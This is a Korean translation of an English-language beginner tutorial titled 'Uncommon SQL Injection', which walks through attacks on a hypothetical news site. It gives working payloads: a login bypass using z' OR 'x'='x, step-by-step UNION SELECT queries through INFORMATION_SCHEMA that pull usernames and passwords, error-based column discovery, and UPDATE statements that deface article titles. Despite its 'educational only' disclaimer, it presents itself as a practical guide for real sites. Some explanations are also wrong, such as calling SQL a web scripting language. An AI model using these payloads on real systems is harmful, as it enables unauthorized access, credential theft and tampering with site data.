Uncommon SQL Injection
(비범한 SQL Injection)

번역 : bOBaNa(WOWHACKER.ORG)

Foreword:

머리말:

Uncommon SQL Injection 문서는 제목에서 알 수 있듯이 실질적으로 웹을 통한 다른 SQL 인젝션 양상과는 다릅니다. 이 문서는 이해가능한 참조문서로 제공하고 학습목적으로서 뿐 아니라, 실제 이용을 위한 SQL 인젝션 문서를 찾기 위한 사람을 위해 작성되었습니다. 저는 예전에 읽었던 SQL 인젝션 안내서들이 많은 문법적 오류와 오자가 우글거리며, 저자 자신만이 이해할수 있을 정도로의 엄청나게 복잡한 단어들이거나 실제 웹사이트에서 injection을 수행할 때 이용하기 위한 기법들이 포함되지 않았다는 사실을 발견했습니다. 이 주제를 이해하는 것은 여러분이 읽고 있는 것에 대해 이해할 수 있기 전에는 충분히 까다로워 질 수 있습니다.

다행히, 이 문서는 일반적인 SQL 인젝션 문서가 아니며, 저는 SQL인젝션을 하는 방법을 배우는것과 여러분 사이의 단계가 필요없다는 것을 파악했습니다. (??) 특별히 읽고 적용하기 쉬운 SQL 인젝션 문서를 즐기셨으면 합니다.

**포기성명:*
*이 항목의 정보는 순전히 교육적인 목적에 한해서 입니다. 공격을 수행할 시스템의 관리자에게의 허락을 맡지 않으셨다면, 여러분의 머신이 아닌 다른 머신에 기법들을 연습하는 것은 법으로 금지되어 있습니다. 이 항목의 저자는 여러분의 행동에 책임을 지지 않습니다. 여러분의 지식을 현명하고 책임감 있게 사용하시기 바랍니다. **

SQL과 SQL의 사용:

- SQL은 웹 스크립트 언어입니다.

- SQL은 웹사이트를 만드는데 이용됩니다.

- SQL은 Structured Query Language의 약자입니다.

- SQL은 웹사이트 서버로부터 정보를 저장하고 삽입, 출력하는데 이용됩니다.

Tables:

- SQL 데이터베이스에서 정보를 저장하는 테이블
- 테이블은 사용자이름, 패스워드, 주소, 웹페이지에 표시하기 위한 텍스트, 링크나 페이지 헤더와 같은 범위의 어떠한 정보라도 저장 할 수 있습니다.
- 테이블은 레코드(정보)가 저장된 칸을 가지고 있습니다.
- 각 테이블은 이름을 가지며, 이름을 갖는 각 열을 갖습니다.
- SQL 인젝션은 이 테이블의 하나 혹은 그 이상을 수정하는 것을 의미합니다.

* 아래의 그림 A는 예제 테이블을 보여줍니다*

테이블의 이름은 "Names"이고 테이블의 열(columns)의 이름은 각각 "FIRST"와 "LAST"입니다. 이 테이블은 사람들의 이름이 저장되어 있습니다: 레코드 수는 "John Doe"와 "Jane Smith"로 총 두 개의 레코드입니다.

- 그림 A -

Names

FIRST	LAST
John	Doe
Jane	Smith

취약점(Vulnerabilities):

- SQL 인젝션 취약점은 두가지 주요 형태에서 옵니다.

- 두가지 형태는 웹사이트로의 SQL 코드의 삽입을 포함합니다.

- "SQL 코드 삽입"하는 것은 "SQL 언어를 쓰는"것을 의미합니다.

- 사이트로 SQL언어를 작성하는 것에 의해 웹사이트는 여러분이 말하는 것을 처리할 것이며, 여러분은 목표를 달성할 수 있을 것입니다.

- (1) 폼으로의 삽입. 로그인 페이지의 사용자이름과 패스워드와 같은.

- (2) URL로의 삽입. www.site.com/news.asp?ArticleID=10와 같은

목표:

- 인젝터(공격자)로서의 목표는 SQL 서버를 이기는 것(outsmart)입니다.

- SQL 서버를 이김으로써(outsmart라는 단어를 사용했는데 일종의 트릭을 써서 굴복시키다라는 의미입니다.) 여러분의 화면에 사이트의 테이블로부터의 정보를 표시할 수 있을 겁니다.

- 여러분은 테이블로부터 정보를 추가, 삭제할 수도 있습니다.

- 게다가, 실제 사용자이름과 패스워드를 모르고도 사이트로의 로그인과 같은 특정 보안 장치들을 우회할 수 있을 겁니다.

SQL은 어떻게 동작하는가:

- 인젝션을 수행할 수 있기 전에, 먼저 SQL이 어떤식으로 동작하는지 이해해야 합니다.

- 새로운 사용자이름과 패스워드를 웹사이트에 등록할 때, 입력된 사용자이름과 패스워드는 사이트의 멤버 테이블에 유지됩니다. ; 사용자 이름과 암호는 서로 다른 열(column)에 넣어집니다.

- 등록된 사용자이름과 패스워드로 로그인할 때, 로그인 페이지는 동일한 사용자이름과 패스워드를 가지고있는 멤버 테이블의 행(row)을 찾습니다.

- 로그인 폼은 여러분이 입력한 조건들을 취하고, 해당 조건에 만족하는 어떤 행(row)을 멤버테이블에서 찾습니다.

- 동일한 사용자이름과 패스워드를 갖는 행을 찾으면, 해당 계정으로의 접근이 허용됩니다.

- 어떠한 행도 찾을수 없다면, 로그인 페이지는 여러분이 입력한 계정이 존재하지 않거나 입력된 사용자이름이나 패스워드가 틀리다고 말할 것입니다.

- SQL은 웹사이트에 정보를 표시할수도 있습니다.

- 사이트에 뉴스 섹션이 존재한다면, 예를들어, 모든 항목이름을 가진 SQL 테이블이 존재 할 것입니다.

- 대개 웹사이트의 항목들은 번호(number)에 의해 식별됩니다.

- 항목에 연결된 링크를 클릭한다면, 해당 페이지의 URL에서 클릭된 항목의 번호를 볼 수 있습니다.

** 다음 세가지 총알들을 위해(??), 아래의 그림 B를 참조해주세요. **

- www.site.com/news.asp?ArticleID=10와 같은 링크를 클릭한다면, 이 링크는 사이트에게 "ArticleID"이 10인 항목에 대한 항목 이름이 저장되어있는 테이블에서 찾으라는 것을 말해줍니다.

- 웹사이트가 테이블의 열(column)을 한번 찾아내면, 웹사이트는 동일 행에서 "Title"이 이름인 열을 찾아서 스크린에 항목의 제목으로서 값을 표시합니다.

- 이 경우에, "Cats"는 궁극적으로 항목의 제목으로서 스크린에서 볼 수 있는 겁니다.

- URL에서 '=' 뒤는 SQL 명령어의 부분이라는 것을 깨닫는 것은 중요합니다.

- 그림 B -

Article_Name

Article_ID	Title
10	Cats
11	Dogs
12	Cows

명령어:

(a) 명령어는 무엇이고 무엇을 살펴봐야하는가:

- 명령어라 불리는 특정 단어를 타이핑함으로써, 여러분은 SQL 서버(웹사이트)에 특정 테이블의 열(column)이나 레코드에 원하고자 하는 것을 말할 수 있습니다.

- 명령어에서, 여러분이 원하는 것을 하기 위해서 하길 원하는 것을 반드시 명시해야 합니다.

- 만약, 여러분이 URL(link)로 인젝팅하면, URL의 "=" 뒤에 명령어를 써야합니다.

- 만약, 여러분이 로그인 폼과 같은 폼으로 인젝팅하면, 일반적으로 사용자이름과 패스워드를 입력하는 박스에 명령어를 넣어야 합니다.

- 웹사이트는 여러분이 무엇을 행하든지 입력한 것을 읽고, 명령어로서 다루고, 처리할 것입니다.

- 실질적으로 가능성들은 무한합니다; 어떤 예들은 웹사이트의 사용자이름과 패스워드를 읽고, 바꾸고, 추가하며, 웹사이트의 페이지의 단어들을 변경합니다.

(b) 구문과 익숙함:

- 명령어를 작성하는 방식을 구문(syntax)이라고 부릅니다.

- SQL 서버가 여러분이 수행하길 원하는 것을 이해할 수 있도록, 구문에 맞게 사용해야 합니다.

- 여러분 스스로가 다음의 명령어에 익숙해지고, 이 문서를 통해서 명령어를 사용하고 실제 SQL 인젝션 중에 사용해야 합니다.

- 올바른 구문에 대해서 걱정하지 마세요. 이 문서에서 여러분이 연습하고 예제들을 공부하면 곧 배울 것이고, 결국 명령어를 외우게 될 것입니다.

- 이해를 통한 암기는 오랫동안 도움을 줄 것입니다.

- 여러분은 화면에서 단지 단어가 아닌, 언어를 보게 될 것입니다.

- 아래에 나열된 모든 명령어를 보고 사용하지는 않을 것입니다.

- 곧 다른 명령어들(다소 헷갈리는) 볼 것이고, 그 명령어들이 수행하는 것과 어떻게 사용하는지를 알아야하지만, 아마 왜 그런일을 하는지는 이해할 수 없을 겁니다.

- 간단히 하기 위해서, 그 명령어들의 사용법은 다음의 리스트에서 생략되었습니다.

COMMAND QUICK REFERENCE CHART

COMMAND	USE
ORDER BY	- 웹사이트에 현재 보고있는 웹페이지에 먼저 표시하라고 말한다.(??)
SELECT	- 테이블의 특정 정보를 열거한다.
UPDATE	- 테이블의 열(column)의 존재하는 정보를 변경한다.
AND	- 두 조건이 참이어야 명령어가 실행된다.
OR	- 한 조건이 참이라면 명령어가 실행된다.
-- (Two dashes)	- 명령어를 끝낸다.
+	- 스페이스 대신 '+'를 사용한다.

Form Injection:

- 초기의 SQL 인젝션은 "인증 우회(Authorization Bypass)"라 불렸습니다.

- "인증 우회(Authorization Bypass)"는 웹사이트에서 로그인 폼이라 불리는 사용자 이름과 패스워드를 입력하는 박스에 관련됩니다.

- "SQL은 어떻게 동작하는가"를 다시 보면, 로그인 페이지는 입력한 정보가 맞는지 체크한 후 멤버 테이블에서 특정 행을 돌려줍니다.

- 웹사이트가 올바른 사용자이름과 패스워드를 입력되었다고 착각하도록 트릭을 써서 웹사이트는 적어도 한 행을 돌려줍니다.

- 사용자이름과 패스워드 박스는 각각 보이지않는 따옴표(single quote)로 둘러싸여 있습니다.

- 따옴표로 둘러쌓인것이 무엇이든지 폼이 전송되는 것은 멤버 테이블에서 사이트가 찾는 것입니다.(??) *그림 C를 보세요.*

- 인증 우회에서 열리는 인용 부호를 갖는다면, 반드시 닫히는 인용 부호를 넣어주어야 합니다, 그렇지 않다면 에러가 발생합니다.

- 예를 들어, 여러분이 z'(문자 z 다음에 따옴표가 존재)를 전송하면, 닫히지 않은 인용 부호이기 때문에 에러가 일어나게 될겁니다. *그림 D를 보세요*

- 여러분이 입력하는 각각의 박스에는 이미 보이지 않는 인용 부호들이 감싸고 있다는 것을 기억하는 것은 중요합니다.

- 지금, z' OR 'x'='x 를 전송해 보죠.

- 쉽게 잘라 말하면, SQL측면에서, z' OR 'x'=x'는 어떤 사용자 이름이 'z'인 행을 멤버 테이블에서 찾거나 문자 'x'가 'x'와 같은 어떤 행을 찾는다는 것을 서버에게 말하는 것 입니다. *그림 E를 보세요*

- 모든 행, 테이블, 열, 언어에서 'x'=x'는 올바른 문장입니다. 문자 x는 문자 x로 서로 같습니다.

- SQL 서버에 의해서서, 'x'=x'는 x가 모든 행에서 같기 때문에 올바른 문장입니다.

- 보기에는 이상할지 모르지만, 멤버 테이블에 존재하는 공급된 사용자 이름을 확인하게 요구하는 SQL 서버의 요구를 만족시켰습니다.

- 사용자이름과 암호로서 넣어주고, 웹사이트로 성공적으로 로그인될 것입니다.

- 그림 C -

Username : ' **Bob** '

- 사용자이름 'Bob'은 멤버테이블에서 찾아질 것입니다.

- 그림 D -

Username : ' **z'** '

- 'z''(열리는 인용부호, 문자 z, 닫히는 인용부호, 열리는 인용 부호)는 멤버 테이블에서 찾아질 것입니다.

- SQL 서버는 모든 열리는 인용부호에는 닫히는 인용부호가 존재하길 예상하기 때문에 'z''는 에러를 발생시킵니다.

- 그림 E -

Username : ' z' OR 'x'='x '

- 여러분이 상상의 인용부호를 포함시킬 때 박스 바깥의 인용부호로서 보여서, 사용자이름은 'z' OR 'x'='x'와 같이 찾아질 것입니다.

- 모든 열리는 인용부호는 닫히는 인용부호와 한 쌍이 될 수 있기 때문에 위 쿼리는 에러를 발생시키지 않을 것입니다.

- 사용자 이름 “”z"'는 존재하지 않지만, “"x""는 항상 “”x""와 같습니다.

The INFORMATION_SCHEMA:

- “INFORMATION_SCHEMA"는 사이트의 모든 테이블과 열(column)의 이름을 가집니다(hold).

- 모든 SQL 서버에는 “INFORMATION_SCHEMA"가 존재할 것이며, 그 이름은 절대 바뀌지 않을 것입니다.

- 모든 다른 테이블의 이름을 갖는 "INFORMATION_SCHEMA"의 테이블을 “INFORMATION_SCHEMA.TABLES"라고 부릅니다.

- “INFORMATION_SCHEMA.TABLES"에 있는 정보를 갖는 열(column)의 이름을 “table_name"이라고 부릅니다.

- 모든 다른 열(column)의 이름을 갖는 “INFORMATION_SCHEMA"의 테이블을 “INFORMATION_SCHEMA.COLUMNS"라고 부릅니다.

- “INFORMATION_SCHEMA.COLUMNS"의 정보를 갖는 열(column)의 이름을 “column_name"이라고 부릅니다.

URL Injection:

- 좋은 소식 : 이제부터 정말 재밌는 것을 시작합니다!

- 테이블과 열(column)의 이름을 찾음으로써 테이블에 저장된 정보를 읽고 수정하는 방법을 배우게 될 것 입니다.

- 나쁜 소식 : 여러분은 위의 "명령어 섹션"(특히 파트B)을 확실하게 이해해야 합니다, 다시 읽어 보세요.

- 웹사이트의 링크에서 "="표시를 찾아야 합니다.

- 이 웹사이트에서 SQL 인젝션을 수행하기위해서, "="표시 뒤에 명령어를 쳐야 할 것입니다.

- 간단히, 여러분이 새로운 웹사이트에 가는 것처럼, 웹브라우져에 "="표시 뒤에 명령어를 타이핑하고 "Go"를 클릭하세요.

- 여러분이 하고자하기 위해 필요한 것을 이해하는 가장 간단한 방법은 공격예를 단계별로 나눠서 보는 것입니다.

- 공격예를 수행할 가상 URL은 www.site.com/news.asp?ArticleID=10이 될 것입니다.

- 다음의 예는 취약한 웹사이트에서의 두가지 공통적인 공격을 설명할 것입니다.

Attack 1

목표: 사용자이름과 패스워드를 획득합니다.
취약한 URL: www.site.com/news.asp?ArticleID=10

STEP 1: 링크가 취약한지 결정하라.

a. www.site.com/news.asp?ArticleID=10+AND+1=0--

- 명령어 번역 : 숫자 1이 숫자 0과 같은 경우에만 항목 10을 출력합니다.

- 이 경우에는, "AND" 명령어는 순서에 따라 항목 10은 반드시 존재해야 하고, 그리고(AND) 1은 0과 같아야하는 것을 의미합니다.

- 1은 0과 같지 않기 때문에, 항목(역자주:번호 10)을 불러오지 못하게 됩니다.

b. www.site.com/news.asp?ArticleID=10+AND+1=1--

- 명령어 번역 : 숫자 1이 숫자 1과 같은 경우에만 항목 10을 출력합니다.

- 항목 10이 존재하고, 그리고(AND), 1과 1이 같기때문에 페이지에 항목 10은 보여지게 됩니다.

* 여러분이 원할때 항목을 불러오든, 원하지 않을때 불러오지 않든, 명령어는 반드시 동작해야 합니다! 그건 해당 링크가 취약하고 계속 할수 있다는 것을 의미합니다! *

STEP 2: 페이지에 표시된 열(column)의 총 갯수를 찾아라.

a. www.site.com/news.asp?ArticleID=10+ORDER+BY+1--

- "ORDER BY 1"(1은 열(column) 번호입니다)는 페이지에게 첫페이지에 첫번째 열(column)을 표시하라고 말합니다.

- "ORDER BY 2"는 첫페이지에 두번째 열(column)을 표시할겁니다.

b. STEP 2의 a를 반복하며, 번호 "1"을 에러가 날 때까지 하나씩 증가시킵니다.

i. 에러 메시지가 생기면 멈추고, 그 숫자에서 1을 뺀 숫자를 적어놓으세요.

- 예를 들어, 번호 "4"에서 에러가 생긴다면,
(www.site.com/news.asp?ArticleID=10+ORDER+BY+4--)
4에서 1을 빼서 3을 얻으세요.

ii. 페이지에 총 3개의 열(column)이 있다는 것을 알아냈습니다.

STEP 3: 테이블이름을 표시

* 3, 4단계를 위해서 "The INFORMATION_SCHEMA" 섹션을 참고로 이용하세요. *

a. www.site.com/news.asp?ArticleID=
-1+UNION+SELECT+1,2,3+FROM+INFORMATION_SCHEMA.TABLES--

-명령어 되새기기 : "SELECT"는 웹사이트에게 여러분이 명시한 테이블에서 원하는 정보를 표시하도록 말합니다.

- 주의 : 반드시 원래 항목 번호(10)를 음수로 변경해야 합니다.

- 주의 : STEP 2의 b에서의 최종 번호(3)은 콤마(,)로 분리되고 번호 "1"을 최종번호로 나열하는 것에 의해 정확하게 위의 명령어에 삽입됩니다.

- 웹페이지 어딘가에 표시된 명령어에 나열된 숫자 중 적어도 하나를 봐야합니다.

- 이제부터는, 웹페이지에 표시되었었다면, 여러분은 다른 문자로 URL에 숫자를 대체해야 합니다. (??)

b. www.site.com/news.asp?ArticleID=
-1+UNION+SELECT+1,table_name,3+FROM+INFORMATION_SCHEMA.TABLES--

- 되새기기 : 웹페이지에 "table_name"으로 표시되었던 숫자(그 중하나를 골라서)를 대체합니다.

- 명령어 번역 : 테이블의 이름을 보여줍니다.

- 번호중 하나 대신에(번호 "2") 테이블 이름은 웹페이지에 표시되야 합니다.

STEP 4: 목표 테이블이름을 찾아라

a. www.site.com/news.asp?ArticleID=
-1+UNION+SELECT+1,table_name,3+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_name>'displayed_table'--

- 홀수는 여러분이 찾던 table_name이 아닌 처음 표시된 table_name입니다.
;사용자이름과 패스워드가 저장된 테이블을 찾고 있습니다.

- 테이블 리스트를 조종하기 위한 올바른 테이블을 찾고, "TABLES" 뒤에 "+WHERE+table_name>'displayed_table' " (" 'displayed_table' " = 잘못된 테이블 이름입니다.)을 추가합니다.

- 명령어 번역 : 'displayed_table' 다음 리스트에서 다음 테이블의 이름을 표시하라.

b. 멤버 테이블을 위한 적당한 이름이 표시될때까지 STEP4의 a를 반복합니다.

- 공격을 위해, "UserAccounts"라는 테이블을 찾았다고 칩시다.

c. STEP4의 b에서의 테이블이름을 기억하고, 필요하면 메모해두세요.

STEP 5: 열(column)의 이름을 표시하라

a. www.site.com/news.asp?ArticleID=
-1+UNION+SELECT+1,column_name,3+FROM+INFORMATION_S
CHEMA.COLUMNS+WHERE+table_name='UserAccounts'--

- 명령어 번역 : "UserAccounts" 테이블에서 열(column)의 이름을 보여달라는 의미입니다.

- 그러면, 표시된 table_name 대신에, "UserAccount" 테이블에서의 열(column)의 이름이 표시된 것을 볼 수 있을 겁니다.

STEP 6: 목표 열(column)을 찾아라

a. www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,column_
name,3+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name='User
Accounts'+AND+column_name>'displayed_column'--

- STEP4에서, 유용한 열(column)의 이름을 찾는 것이 필요할 것입니다.

- 여러분이 사용자이름과 패스워드를 찾고 있다면, username, password, user, pass, login_name, 등등... 열(column)의 이름을 찾도록 노력해야 합니다.

- 명령어 번역 : 'displayed_column' 뒤의 리스트에서 다음 열(column)의 이름을 표시하라.

b. 올바른 열(column)의 이름을 찾을 때까지 STEP6의 a를 반복합니다.

- 공격예를 위해, "username"과 "password"라는 열(column)의 이름들을 발견했다고 가정할 것입니다.

c. STEP6의 b에서의 열(column)의 이름을 기억하고, 필요하다면 메모해두세요.

STEP 7: 레코드를 표시(마지막!)

* 이번 단계를 위해, 메모해뒀던 열(column)이름과 테이블을 이용합니다. *

Table Name: "UserAccounts"
Column Names: "username"
"password"

a. www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,username,3+
FROM+UserAccounts--

- 명령어 번역 : "UserAccounts" 테이블로부터 "username" 열(column)의 첫번째 레코드를 표시하라

- 웹페이지가 username "Adam"을 표시한다고 칩시다.

b. www.site.com/news.asp?ArticleID=
-1+UNION+SELECT+1,password,3+FROM+UserAccounts+
WHERE+username='Adam'--

- 명령어 번역 : UserAccounts 테이블에 저장된 사용자이름 "Adam"을 위한 패스워드를 표시한다.

- 가언공격(hypothetical attack)에, 웹페이지는 "neo"를 표시했습니다.

c. 사용자이름 "Adam"의 패스워드 "neo"를 찾았습니다.

- **Username:** Adam - **Password:** neo

여러분은 첫번째 SQL 인젝션 공격을 마쳤습니다!

==========

ATTACK 2

GOAL: 웹페이지에 표시된 텍스트를 변경한다.
Vulnerable URL: www.site.com/news.asp?ArticleID=10

STEP 1: F테이블과 열(column)의 이름을 찾는다.

a. www.site.com/news.asp?ArticleID=10+HAVING+1=1--

- 이 명령어("HAVING+1=1")은 보여진것 처럼 에러를 일으켜야 합니다.

- 에러메시지는 아래와 같이 보일것 입니다 :

"집합 함수에 포함되지 않았으며, GROUP BY절이 존재하지 않기 때문에 선택 리스트에서 "열(column) 'news.id'는 올바르지 않습니다."
("Column 'news.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.")

- 에러메시지는 테이블과 열(column)의 이름을 나타낸다는 것을 주의하세요.

- 에러메시지에서 "news.id"는 "news" 테이블의 "id"라 불리는 열(column)이 존재한다는 것을 의미합니다.

STEP 2: 유용한 열(clumn)의 이름을 찾아라.

a. www.site.com/news.asp?ArticleID=10+GROUP+BY+id+HAVING+1=1--

- 테이블에서 다음 열(column)의 이름을 보기위해서, 명령어 "HAVING" 전에 "GROUP+BY+first_column_name_displayed" 를 추가해야 합니다.

- 이 명령어에서, "first_column_name_displayed"는 "id" 입니다.

- 이 명령어는 또다른 에러메시지를 만드는데, 이 때 에러 메시지에서 "news.id"의 부분인 "id"가 바뀔 것이고, 그것은 다음 열(column)의 이름입니다.

- 이때, 에러 메시지는 “news.release"라고 말한다고 칩시다.

b. www.site.com/news.asp?ArticleID=10+GROUP+BY+id,release+HAVING+1=1--

- 열(column)의 이름을 계속해서 보이기 위해서, 콤마(,)와 에러메시지의 열(column)의 이름을 추가해야 합니다.

  i. 콤마(,)는 필요할 만큼 분리될 수 있으며, 현재 에러메시지에서 콤마와 열(column)의 이름을 추가하는 것을 계속합니다.

  - 에러메시지는 “title"이란 열(column) 이름(““news.title"")을 보여준다고 칩시다.

  - 아마도 항목의 제목은 "title" 열(column)에 저장되어 있고, 웹페이지에 표시될 것 입니다.

  - "title" 열(column)에서 항목의 제목을 변경할수 있다면, 결론적으로, 사이트에 표시되는 것을 변경할 것입니다.

STEP 3: 웹페이지 변경하기

a. www.site.com/news.asp?ArticleID=10+UPDATE+news+set+title='sql injected'--

- news 테이블의 모든 제목들을 "sql injected"로 변경할 것입니다.

- 항목의 본래의 제목들이 표시되는 대신, 모든 제목들은 "sql injected"를 말할 것입니다.

- 조심하세요! 이것은 모든 제목들을 변경합니다. 단 하나의 항목의 제목을 바꾸길 원하신다면, STEP3의 b를 따르세요.

b. www.site.com/news.asp?ArticleID=10+UPDATE+news+set+title='sql injected'+WHERE+id=10—-

- 이것은 항목 번호가 10인 제목만 “sql injected"로 변경할 것입니다.

- 다른 항목의 제목을 변경하기위해서는 , 간단히 “id=10"에서의 “10”을 다른 번호로 대체하면 됩니다.

- 예를 들어, "id=10"을 "id=8"로 변경할수 있지만, 변경된 것을 보기위해서는 "www.site.com/news.asp?ArticleID=8"로 가야합니다.

2번째 공격의 끝

==========

축하합니다! 지금 SQL 인젝션의 기초를 마스터하셨습니다. 여러분이 이 문서로부터 배워서 좀 더 배우기 위해 노력하셨으면 합니다. 확실히, 여러분의 학습은 여기서 멈춰선 안됩니다. 여러분은 깨달으실 거고, 호기심이 커지며, 질문하고, 확실히 욕구불만상태(지식에대한)에 빠지실 겁니다. 지치고 낙담하기 쉽겠지만, 여러분의 질문에 대한 대답을 알아내는 것을 절대 포기하지 마세요. 도전은 극복되어집니다. 극복하시는 것에 대한 자부심을 가지세요. 무엇을 하시든지 여러분의 열정에 대한 흥미를 잃지마세요. Uncommon SQL Injection을 읽어주셔서 감사합니다.

""끈기는 모든 문제의 해결책을 방어한다.""

~N3T D3VIL~

먼저, 엉터리 번역문서를 읽어주셔서 감사합니다~~ㅎㅎ
머리말에 기존의 복잡하고 이해하기 어려운 단어들을 사용한 다른 문서들을 뭐라고 하더니....자기도 어려운 걸 쓰네요.. -_-; 제가 영어를 못해서인지 나름대로 번역하기 까다로운 부분이 조금 있었던 같네요. 그래서인지 날림 AND 추측성 의역이 많으니 감안해주시길...^^ 오타나 오역이 있다면, 아래의 메일로 연락주세요~ 항상 즐거운 날들 되시고, 우리 모두 열심히 공부합시다~

E-mail : hackprog@korea.ac.kr

10월을 기념하며.....
07. 10. 1
